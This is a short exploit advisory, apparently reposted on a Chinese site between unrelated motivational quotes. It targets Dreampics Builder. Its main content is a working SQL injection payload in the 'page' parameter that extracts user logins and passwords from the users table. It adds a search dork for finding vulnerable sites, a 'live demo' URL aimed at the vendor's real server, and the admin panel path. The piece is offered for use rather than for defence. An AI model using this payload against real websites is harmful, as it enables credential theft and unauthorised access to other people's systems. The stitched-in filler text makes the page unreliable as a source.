Dreampics Builder (page) Remote SQL Injection Vulnerability

努力从来不是为了证明自己努力,而是为了拥有更好的生活,能够保持向上的目标,生活才会是一部进化史。——杨熹文《请尊重一个女孩的努力》尽管生活带给我们的大多是失意,但失意不可怕,可怕的是失去自己。
#########################################################
#
# PICS BUILDER (page) SQL Injection Vulnerability
#========================================================
# Author: Hussin X =
# =
# Home : www.tryag.cc/cc =
# =
# email: darkangel_g85[at]Yahoo[DoT]com =
# =
#=========================================================
#
# script : http://www.dreamlevels.com/dreampics.php
#
# DorK : powered by Dreampics Builder
#
##########################################################

Exploit:

www.[target].com/Script/?page=-2 union select null,null,null,null,concat_ws(0x3a,user_login,user_password),null,null,null from users--


L!VE DEMO:

http://www.dreamlevels.com/demo/photosite/?page=-2 union select null,null,null,null,concat_ws(0x3a,user_login,user_password),null,null,null from users--


Admin Login :

/admin/

########################( Greetz )###########################
# #
# tryag.cc / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUR /str0ke #
# #
# Iraqihack / FAHD / mos_chori / Silic0n #
# #
#############################################################

Im IRAQi

本文Dreampics Builder (page) Remote SQL Injection Vulnerability 到此结束。决不能习惯失败,因为你要知道,身体的疲惫,不是真正的疲惫;精神上的疲惫,才是真的劳累。小编再次感谢大家对我们的支持!

标签: